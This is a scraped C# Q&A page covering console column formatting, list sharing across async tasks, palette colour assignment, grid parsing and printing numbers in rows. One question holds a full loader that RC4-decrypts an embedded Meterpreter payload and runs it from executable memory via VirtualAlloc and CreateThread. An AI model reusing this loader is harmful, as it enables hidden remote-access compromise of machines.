having formatting error in c# - c#

static void Main(string[] args)
{
OpenFiles(); PrintReportHeadings();
while ((lineIn = fileIn.ReadLine()) != null)
{
ParseLineIn();
PrintDetailLine();
Computing();
sides++;
}
CloseFiles();
}
static void PrintDetailLine()
{
Console.WriteLine("{0,2} {1}", sides, polyName);
}
static void Computing()
{
for (n = 1; n <= 9; n++)
{
p = (Math.Pow(n, 2) * (sides - 2) - n * (sides - 4)) / 2;
Console.Write("{0}", p);
}
}
Here is the code I'm working with. I have my report headings where they need to be and when reading in polygon names from file, they go into the right spot with the amount of sides. But when trying to compute the nth amount of dots in polygonal number, it pushes the amount of sides of polygon and name of polygon to the right side. not sure what I'm doing wrong. been staring at this for 4 hours now.

Is this what you are after?
Output:
3 Triangular 1 3 6 10 15 21 28 36 45
4 Square 1 4 9 16 25 36 49 64 81
5 Pentagonal 1 5 12 22 35 51 70 92 117
6 Hexagonal 1 6 15 28 45 66 91 120 153
7 Heptagonal 1 7 18 34 55 81 112 148 189
8 Octagonal 1 8 21 40 65 96 133 176 225
9 Nonagonal 1 9 24 46 75 111 154 204 261
10 Decagonal 1 10 27 52 85 126 175 232 297
11 Hendecagonal 1 11 30 58 95 141 196 260 333
12 Dodecagonal 1 12 33 64 105 156 217 288 369
13 Tridecagonal 1 13 36 70 115 171 238 316 405
14 Tetradecagonal 1 14 39 76 125 186 259 344 441
15 Pentadecagonal 1 15 42 82 135 201 280 372 477
16 Hexadecagonal 1 16 45 88 145 216 301 400 513
17 Heptadecagonal 1 17 48 94 155 231 322 428 549
18 Octadecagonal 1 18 51 100 165 246 343 456 585
19 Nonadecagonal 1 19 54 106 175 261 364 484 621
20 Icosagonal 1 20 57 112 185 276 385 512 657
21 Icosihenagonal 1 21 60 118 195 291 406 540 693
22 Icosidigonal 1 22 63 124 205 306 427 568 729
23 Icositrigonal 1 23 66 130 215 321 448 596 765
24 Icositetragonal 1 24 69 136 225 336 469 624 801
Press any key to continue . . .
Source Code:
class Program
{
static int sides = 3;
private static int maxPolyNameLength;
static void Main(string[] args)
{
var input = "Triangular Square Pentagonal Hexagonal Heptagonal Octagonal Nonagonal Decagonal Hendecagonal Dodecagonal Tridecagonal Tetradecagonal Pentadecagonal Hexadecagonal Heptadecagonal Octadecagonal Nonadecagonal Icosagonal Icosihenagonal Icosidigonal Icositrigonal Icositetragonal"
.Split(' ');
maxPolyNameLength = input.Max(x => x.Length);
foreach (var s in input)
{
PrintDetailLine(s);
Computing();
Console.WriteLine();
sides++;
}
}
static void PrintDetailLine(string polyName)
{
Console.Write($"{{0,2}} {{1,{maxPolyNameLength}}} ", sides, polyName);
}
static void Computing()
{
double p = 0;
for (var n = 1; n <= 9; n++)
{
p = (Math.Pow(n, 2) * (sides - 2) - n * (sides - 4)) / 2;
Console.Write("{0,3} ", p);
}
}
}

Related

C# app "has exited with code -1073741819 (0xc0000005) 'Access violation'" VS

I'm trying to create a payload using this code showing below, when I start building it on "any CPU", the program throw an exception, for solving that I changed it to x86, then I got the error on the title, and now I am stuck.
So in this situation when I use debugging system from VS, the app remain open and got the error, when I am using from the folder, then the app is closing.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_Decryption
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("Payload Decryption tool for Meterpreter Payloads ");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Test");
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
Console.WriteLine("[!] Using RC4 Decryption for your Payload By KEY.");
string Payload_Encrypted;
byte[] xKey = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00,
0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
//string[] Input_Keys = args[0].Split(' ');
//byte[] xKey = new byte[Input_Keys.Length];
Console.Write("[!] Decryption KEY is : ");
Console.ForegroundColor = ConsoleColor.Yellow;
/// Converting String to Byte for KEY by first Argument
//for (int i = 0; i < Input_Keys.Length; i++)
//{
// xKey[i] = Convert.ToByte(Input_Keys[i], 16);
// Console.Write(xKey[i].ToString("x2") + " ");
//}
Console.ForegroundColor = ConsoleColor.DarkGreen;
/// Converting String to Byte for Encrypted Meterpreter Payload by Second Argument
//Payload_Encrypted = args[0].ToString();
Payload_Encrypted = "0 84 37 71 69 109 37 60 21 235 228 108 17 204 176 36 198 93 237 156 145 184 238 1 181 165 137 167 87 222 160 187 124 92 202 24 168 213 233 136 47 91 129 7 14 9 103 63 95 141 211 34 201 140 241 165 213 137 208 219 133 54 49 0 118 140 100 199 158 10 107 116 107 224 90 214 159 208 228 26 231 73 26 151 85 112 83 140 229 51 128 197 75 241 140 169 228 9 68 236 172 198 13 57 86 126 136 198 101 115 100 168 67 172 1 23 246 143 214 151 253 13 113 69 215 169 12 226 190 215 247 224 137 68 123 43 11 12 207 194 2 0 143 251 187 15 171 245 24 105 3 68 10 81 252 63 250 150 219 229 147 55 50 11 237 89 185 220 100 248 20 180 42 175 246 34 27 1 131 203 175 49 104 33 218 144 110 193 189 206 206 204 62 138 78 2 102 75 130 176 183 93 184 252 9 136 155 117 228 39 177 96 169 181 89 233 114 114 29 56 223 163 247 33 145 203 41 151 165 242 162 133 149 123 84 169 156 172 75 103 144 63 254 1 116 121 152 182 15 109 48 242 80 94 76 100 131 28 114 3 119 227 147 76 105 132 185 70 93 236 253 186 193 177 67 202 216 136 241 19 146 16 146 184 10 41 206 30 4 95 176 204 190 95 71 7 146 160 30 113 50 249 159 156 194 14 53 130 12 252 44 159 214 216 139 81 51 145 166 5 194 165 155 160 230 79 185 162 170 103 2 110 95 48 207 207 215 245 167 106 133 70 28 238 114 70 20 7 9 173 132 7 76 226 242 193 123 148 140 199 238 178 109 188 235 52 137 157 233 228 81 21 238 197 38 148 121 77 139 229 155 23 205 66 195 75 35 170 53 81 201 168 212 241 100 156 110 97 185 225 216 106 6 4 171 46 150 154 186 122 208 171 210 33 38 188 129 153 108 126 196 85 178 29 210 128 120 137 73 176 239 6 176 142 238 215 213 176 182 116 152 48 133 217 212 138 97 4 33 165 45 73 54 254 153 125 218 97 156 185 191 100 229 210 112 99 221 159 198 220 211 134 120 15 116 52 150 214 214 8 175 162 109 236 32 48 109 20 106 48 132 102 114 73 23 254 207 38 139 14 109 223 99 164 53 213 52 15 33 211";
string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(' ');
byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
{
byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
_X_to_Bytes[i] = current;
}
try
{
Console.WriteLine();
Console.WriteLine("[!] Loading Encrypted Meterprter Payload in Memory Done.");
Console.ForegroundColor = ConsoleColor.Green;
byte[] Final_Payload = Decrypt(xKey, _X_to_Bytes);
Console.WriteLine("[>] Decrypting Meterprter Payload by KEY in Memory Done.");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine();
Console.WriteLine("Bingo Meterpreter session by Encrypted Payload ;)");
UInt32 funcAddr = VirtualAlloc(0, (UInt32)Final_Payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(Final_Payload, 0, (IntPtr)(funcAddr), Final_Payload.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xffffffff);
}
catch (Exception)
{
throw;
}
}
/// <summary>
/// RC4 Decryption Section
/// </summary>
public static byte[] Decrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
/// <summary>
/// Windows API Importing Section
/// </summary>
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
}
The "payload" buzzword, the "rc4" stuff, all the console coloring, all the stuff about "encryption", all of that is irrelevant. You are trying to do some hopelessly arcane and incredibly dangerous stuff with virtual memory allocation, apparently for no good reason whatsoever, and it is no wonder that it miserably fails.
The answer to your problem is as follows:
Do not use any of the following: VirtualAlloc(), CreateThread(), WaitForSingleObject(). C# offers plenty of functionality for creating threads and waiting for them, you should not need to use PInvoke for that stuff.

make multiple calls to same async tasks with different data c#

I have a list which contains some documents (for simplicity strings). Now the list is getting populated slowly. What I want to do is when the size of the list reaches 20 I want to call another function that will print these strings asynchronously without stopping the main method. After lot of searching I have managed to put together this code
public void DoStuff()
{
Class1 p = new Class1();
List<string> list = new List<string> { };
var TList = new List<Task>();
int i = 0;
while (i < 90)
{
list.Add(i.ToString());
if (list.Count == 20)
{
Console.WriteLine("List contents when calling: " + list[0]);
TList.Add(Task.Run(() => publishDoc(list)));
list.Clear();
}
i++;
}
if (list.Count != 0)
{
TList.Add(Task.Run(() => publishDoc(list)));
}
Task.WhenAll(TList).Wait();
Console.WriteLine("Done DoStuff");
}
public async Task publishDoc(List<string> docs)
{
Console.WriteLine(iter++ + " " + docs[0]);
await Task.Run(() => Thread.Sleep(1000));
foreach (var val in docs)
{
Console.Write(val + " ");
}
Console.WriteLine();
}
This is what I am getting as output
List contents when calling: 0
List contents when calling: 20
List contents when calling: 40
List contents when calling: 60
1 80
3 80
0 80
2 80
4 80
80 80 80 80 81 82 83 84 85 86 87 88 89
81 82 83 84 85 86 87 88 89
81 82 83 84 85 86 87 88 89
81 82 83 84 85 86 87 88 89
80 81 82 83 84 85 86 87 88 89
Done DoStuff
Done Main
I can't figure out why it is only printing the last passed data i.e. why the passed list is getting overwritten.
Now if I do this
public void DoStuff()
{
Program2 p = new Program2();
List<string> list = new List<string> { };
int i = 0;
while (i < 90)
{
list.Add(i.ToString());
if (list.Count == 20)
{
Console.WriteLine("List contents when calling: " + list[0]);
var tasks = publishDoc(list);
if (tasks.Result == "Done")
{
Console.WriteLine("Done " + list[0]);
}
list.Clear();
}
i++;
}
if (list.Count != 0)
{
var tasks = publishDoc(list);
if (tasks.Result == "Done")
{
Console.WriteLine("Done " + list[0]);
}
}
Console.WriteLine("Done DoStuff");
}
public async Task<string> publishDoc(List<string> docs)
{
Console.WriteLine(iter++ + " " + docs[0]);
foreach (var val in docs)
{
Console.Write(val + " ");
}
Console.WriteLine();
return await Task.Run(() => "Done");
}
I get this output
List contents when calling: 0
0 0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
Done 0
List contents when calling: 20
1 20
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
Done 20
List contents when calling: 40
2 40
40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
Done 40
List contents when calling: 60
3 60
60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
Done 60
4 80
80 81 82 83 84 85 86 87 88 89
Done 80
Done DoStuff
Done Main
This is giving the correct output but is doing it synchronously which I don't want. Please help and thanks in advance.
you have to do like this , as in loop it points to same instance of list every time that might causing issue , so I suggest you create copy of list before passing it to function publishDoc
while (i < 90)
{
list.Add(i.ToString());
if (list.Count == 20)
{
List<string> copy = list.ToList();
Console.WriteLine("List contents when calling: " + copy[0]);
TList.Add(Task.Run(() => publishDoc(copy)));
list.Clear();
}
i++;
}
Refer this answer also : Starting Tasks In foreach Loop Uses Value of Last Item

Map array of strings to property in a List of objects C#

I have List of objects List<MyModel> myList
MyModel.cs
public int Id {get; set;}
public int SourceTitle {get; set;}
public int Detail {get; set;}
public string Color {get; set:}
I have an string array of colors ie.
string[] colorPallete[] = {color1, color2, color3, coloe4 ..... color10}
Now, I have about 35 items in my list. There can be multiple items with same SourceTitle and Id. I want to assign a color to the items with the same SourceTitle. Ultimately when the count of my titles goes above 10, the 11th title should be assigned with the Color1 again.
Right now, I do it using Id as below :
myList.ForEach{x => x.Color = colorPallete.ElementAtOrDefault((x.Id -1) % colorPallete.Length));
This works fine, but if the remainder of two different Id's is same, they will be assigned the same color which is not what I want.
Is there a way I can assign the color in relation to the titles and not Ids?
Here is what you want:
SortedList<int, int> colorHistory = new SortedList<int, int>();
int k = -1;
for (int i = 0; i < myList.Count; i++)
{
if (!colorHistory.ContainsKey(myList[i].SourceTitle))
{
colorHistory[myList[i].SourceTitle] = ++k % colorPallete.Length;
}
myList[i].Color = colorPallete[colorHistory[myList[i].SourceTitle]];
}
Output:
ID Source Color
--------------------------
0 5 color1
1 19 color2
2 8 color3
3 15 color4
4 12 color5
5 15 color4
6 3 color6
7 16 color7
8 3 color6
9 17 color8
10 18 color9
11 8 color3
12 4 color10
13 13 color1
14 4 color10
15 18 color9
16 4 color10
17 3 color6
18 14 color2
19 1 color3
20 3 color6
21 4 color10
22 6 color4
23 17 color8
24 13 color1
25 17 color8
26 8 color3
27 6 color4
28 18 color9
29 13 color1
30 2 color5
31 11 color6
32 18 color9
33 19 color2
34 19 color2
35 10 color7
36 13 color1
37 5 color1
38 11 color6
39 2 color5
40 2 color5
41 10 color7
42 12 color5
43 2 color5
44 13 color1
45 12 color5
46 2 color5
47 18 color9
48 14 color2
49 6 color4
50 8 color3
51 11 color6
52 14 color2
53 3 color6
54 7 color8
55 1 color3
56 14 color2
57 10 color7
58 3 color6
59 15 color4
60 7 color8
61 16 color7
62 17 color8
63 10 color7
64 15 color4
65 7 color8
66 10 color7
67 4 color10
68 14 color2
69 13 color1
70 5 color1
71 18 color9
72 12 color5
73 12 color5
74 19 color2
75 12 color5
76 12 color5
77 4 color10
78 5 color1
79 1 color3
80 16 color7
81 10 color7
82 12 color5
83 13 color1
84 5 color1
85 11 color6
86 17 color8
87 16 color7
88 13 color1
89 19 color2
90 15 color4
91 3 color6
92 3 color6
93 15 color4
94 15 color4
95 5 color1
96 13 color1
97 3 color6
98 7 color8
99 6 color4
foreach (var group in list.GroupBy(x => x.SourceTitle))
{
for (int i = 0; i < group.Count(); i++)
{
group.ElementAt(i).Color = palette[i % 10];
}
}
This is what you need:
foreach (var x in myList.GroupBy(m => m.SourceTitle).Select((gms, i) => new { gms, i }))
{
foreach (var m in x.gms)
{
m.Color = colorPallete[x.i % colorPallete.Length];
}
}

Read string of numbers into a grid/matrix [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Can anyone tell me how can I read this grid into arrays like a[i][j] ? I searched on google but I can't seem to find anything useful.Thank you very much for helping!
static void Main(string[] args)
{
String grid = "08 02 22 97 38 15 00 40 00 75 04 05 07 78 52 12 50 77 91 08" +
"49 49 99 40 17 81 18 57 60 87 17 40 98 43 69 48 04 56 62 00" +
"81 49 31 73 55 79 14 29 93 71 40 67 53 88 30 03 49 13 36 65" +
"52 70 95 23 04 60 11 42 69 24 68 56 01 32 56 71 37 02 36 91" +
"22 31 16 71 51 67 63 89 41 92 36 54 22 40 40 28 66 33 13 80" +
"24 47 32 60 99 03 45 02 44 75 33 53 78 36 84 20 35 17 12 50" +
"32 98 81 28 64 23 67 10 26 38 40 67 59 54 70 66 18 38 64 70" +
"67 26 20 68 02 62 12 20 95 63 94 39 63 08 40 91 66 49 94 21" +
"24 55 58 05 66 73 99 26 97 17 78 78 96 83 14 88 34 89 63 72" +
"21 36 23 09 75 00 76 44 20 45 35 14 00 61 33 97 34 31 33 95" +
"78 17 53 28 22 75 31 67 15 94 03 80 04 62 16 14 09 53 56 92" +
"16 39 05 42 96 35 31 47 55 58 88 24 00 17 54 24 36 29 85 57" +
"86 56 00 48 35 71 89 07 05 44 44 37 44 60 21 58 51 54 17 58" +
"19 80 81 68 05 94 47 69 28 73 92 13 86 52 17 77 04 89 55 40" +
"04 52 08 83 97 35 99 16 07 97 57 32 16 26 26 79 33 27 98 66" +
"88 36 68 87 57 62 20 72 03 46 33 67 46 55 12 32 63 93 53 69" +
"04 42 16 73 38 25 39 11 24 94 72 18 08 46 29 32 40 62 76 36" +
"20 69 36 41 72 30 23 88 34 62 99 69 82 67 59 85 74 04 36 16" +
"20 73 35 29 78 31 90 01 74 31 49 71 48 86 81 16 23 57 05 54" +
"01 70 54 71 83 51 54 69 16 92 33 48 61 43 52 01 89 19 67 48";
int[] a = new int[20];
for(int i=0;i<20;i++)
for (int j = 1; j < 20; j++)
{
}
}
As suggested in the comments you can simply separate your numbers and use split string. for example:
private static void Main(string[] args)
{
String grid = "08,02,22,97,38,15,00,40,00,75,04,05,07,78,52,12,50,77,91,08," +
"49,49,99,40,17,81,18,57,60,87,17,40,98,43,69,48,04,56,62,00," +
"81,49,31,73,55,79,14,29,93,71,40,67,53,88,30,03,49,13,36,65," +
"52,70,95,23,04,60,11,42,69,24,68,56,01,32,56,71,37,02,36,91," +
"22,31,16,71,51,67,63,89,41,92,36,54,22,40,40,28,66,33,13,80," +
"24,47,32,60,99,03,45,02,44,75,33,53,78,36,84,20,35,17,12,50," +
"32,98,81,28,64,23,67,10,26,38,40,67,59,54,70,66,18,38,64,70," +
"67,26,20,68,02,62,12,20,95,63,94,39,63,08,40,91,66,49,94,21," +
"24,55,58,05,66,73,99,26,97,17,78,78,96,83,14,88,34,89,63,72," +
"21,36,23,09,75,00,76,44,20,45,35,14,00,61,33,97,34,31,33,95," +
"78,17,53,28,22,75,31,67,15,94,03,80,04,62,16,14,09,53,56,92," +
"16,39,05,42,96,35,31,47,55,58,88,24,00,17,54,24,36,29,85,57," +
"86,56,00,48,35,71,89,07,05,44,44,37,44,60,21,58,51,54,17,58," +
"19,80,81,68,05,94,47,69,28,73,92,13,86,52,17,77,04,89,55,40," +
"04,52,08,83,97,35,99,16,07,97,57,32,16,26,26,79,33,27,98,66," +
"88,36,68,87,57,62,20,72,03,46,33,67,46,55,12,32,63,93,53,69," +
"04,42,16,73,38,25,39,11,24,94,72,18,08,46,29,32,40,62,76,36," +
"20,69,36,41,72,30,23,88,34,62,99,69,82,67,59,85,74,04,36,16," +
"20,73,35,29,78,31,90,01,74,31,49,71,48,86,81,16,23,57,05,54," +
"01,70,54,71,83,51,54,69,16,92,33,48,61,43,52,01,89,19,67,48";
var splitstring = grid.Split(',');
var a = new int[20,20];
const int rowCount = 19; //counts 0 as 1
var rowIndex = 0;
var colIndex = 0;
foreach (var s in splitstring)
{
if (rowIndex > rowCount)
{
rowIndex = 0;
colIndex++;
}
a[colIndex, rowIndex] = Int32.Parse(s);
rowIndex++;
}
}
Note the Int32.Parse(s) will throw an exception if the parse fails. You can instead use an Int32.TryParse and use the out value for your result. Depends on what you want to do.
Consider add a space to the end of each "line" such as the following:
String grid = "08 02 .. 91 08 " +
"01 70 .. 67 48 ";
// ^-- add space here
This will allow the string to be converted trivially into a 1D array of strings with string.Split.
string grid = "08 02 .. 91 08"; // every number is space-separated now
string[] gridArray = grid.Split(" "); // -> ["08", "02", .. "91", "08"]
(Even without ensuring the extra spaces, a 1D array can be achieved using a Regular Expression split: var gridArray = Regex.Split(grid, "(?:\s|(?<=\d{2})(?=\d{2}))"), but I recommend "normalizing" the input string literals if possible.)
And each index in the resulting 1D array can be accessed as so, where columns represents the number of columns of the super-imposed matrix, or the "width" of each row.
int columns = 20;
int gridIndex = j * columns + i; // where j is a *row* and i is a *column*
// for a column-major matrix
string numStr = gridArray[gridIndex]; // and value at the [column,row]
Then it's just a matter of converting numStr to an integer and assigning it to the appropriate array index.
If every number is separated by a space such that ever number NN is in form "NN " it also takes up 3 characters. In this case the intermediate Split can be skipped, using the same idea of indexing into the source as a 1D sequence.
int gridNumOffset = (j * columns + i) * 3;
string numStr = grid.Substring(gridNumOffset, 2);
(Finding the substring offset even when there is no space at the end-of-line can be done using a little bit more math, which is a good exercise and the formula just becomes (j * columns + i) * 3 + f(i), where f(i) applies the appropriate offset.)
Another more mundane approach, assuming that the original string cannot be modified to include an end-of-line space/character, is to read in each line as N characters, deal with it, and move on. The concepts from above can be applied:
int rowWidth = (columns * 3) - 1; // -1 assuming no line-end space
for(int j = 0; j < rows; j++) { // j is *rows*, for column-major matrix
string rowStr = str.Substring(j * rowWidth, rowWidth);
string[] row = rowStr.Split(" "); // 1D array just for this row
for (int i = 0; i < columns; i++) {
string numStr = row[i];
// Convert and put value into the correct matrix position
}
}

Printing 100 to 1 ?How?

print 10 number on each line , Below Is The Code Of What I Did But Still Not Successful , Help
namespace ConsoleApplication2
{
class Program
{
static void Main(string[] args)
{
int i;
for (i =100; i>=1; i--)
{
Console.Write(i);
}
Console.ReadLine();
}
}
}
Try this:
for (i = 100; i >=1; i--)
{
if(i%10==0) //if 10 numbers are printed
Console.WriteLine(); //then line break
Console.Write(i+" "); //print the number with a space character
}
Console.ReadLine();
It will print 10 number in each line.
Result:
100 99 98 97 96 95 94 93 92 91
90 89 88 87 86 85 84 83 82 81
80 79 78 77 76 75 74 73 72 71
70 69 68 67 66 65 64 63 62 61
60 59 58 57 56 55 54 53 52 51
50 49 48 47 46 45 44 43 42 41
40 39 38 37 36 35 34 33 32 31
30 29 28 27 26 25 24 23 22 21
20 19 18 17 16 15 14 13 12 11
10 9 8 7 6 5 4 3 2 1
See result in ideone.
Try this
static void Main(string[] args)
{
int i=100;
for (i; i <=100; i--)
{
Console.Write(i);
if(i==0)
{
break;
}
}
Console.ReadLine();
}
Edit
Must use
if(i==0){break;}
otherwise this for loop does not end.
static void Main(string[] args)
{
for (int i = 100; i >0; i--)
{
if (i % 10 == 0)
Console.WriteLine();
Console.Write(i);
}
Console.ReadLine();
}
This might do what you need:
Enumerable.Range(1, 100).Reverse()
.ToList()
.ForEach(i => Console.Write(i % 10 == 1 ? i + "\r\n" : i + ", "));
Which will output:
100, 99, 98, 97, 96, 95, 94, 93, 92, 91
90, 89, 88, 87, 86, 85, 84, 83, 82, 81
80, 79, 78, 77, 76, 75, 74, 73, 72, 71
70, 69, 68, 67, 66, 65, 64, 63, 62, 61
60, 59, 58, 57, 56, 55, 54, 53, 52, 51
50, 49, 48, 47, 46, 45, 44, 43, 42, 41
40, 39, 38, 37, 36, 35, 34, 33, 32, 31
30, 29, 28, 27, 26, 25, 24, 23, 22, 21
20, 19, 18, 17, 16, 15, 14, 13, 12, 11
10, 9, 8, 7, 6, 5, 4, 3, 2, 1
using System;
namespace ConsoleApplication2
{
class Program
{
static void Main(string[] args)
{
int i;
for (i = 100; i > 0; i--)
{
if(i%10==0)Console.WriteLine();
Console.Write(i);
}
Console.ReadLine();
}
}
}
Updated Demo:http://ideone.com/st4i8n
Enumerable.Range(0, 10).Reverse().ToList().ForEach(n =>
{
Enumerable.Range(n * 10, 10).Select(i => i + 1).Reverse().ToList().ForEach(i => Console.Write(i + " "));
Console.WriteLine();
});
// output: 100 99 98 97 96 95 94 93 92 91
// 90 89 88 87 86 85 84 83 82 81
// 80 79 78 77 76 75 74 73 72 71
// 70 69 68 67 66 65 64 63 62 61
// 60 59 58 57 56 55 54 53 52 51
// 50 49 48 47 46 45 44 43 42 41
// 40 39 38 37 36 35 34 33 32 31
// 30 29 28 27 26 25 24 23 22 21
// 20 19 18 17 16 15 14 13 12 11
// 10 9 8 7 6 5 4 3 2 1
HundredToOne()
{
for(int i=100;i>0;i--)
{
if(i%10 == 0)
Console.WriteLine("\n");
Console.Write(i);
}
}
You can also use a StringBuilder to build the 10 numbers per line, but concatenating like so should yield sufficient results (since it's only 100 numbers)
foreach (var number in Enumerable.Range(1, 100).ToArray().Reverse())
{
Console.Write((number % 10 == 0) ? "\n" : (number.ToString() + " "));
}

Categories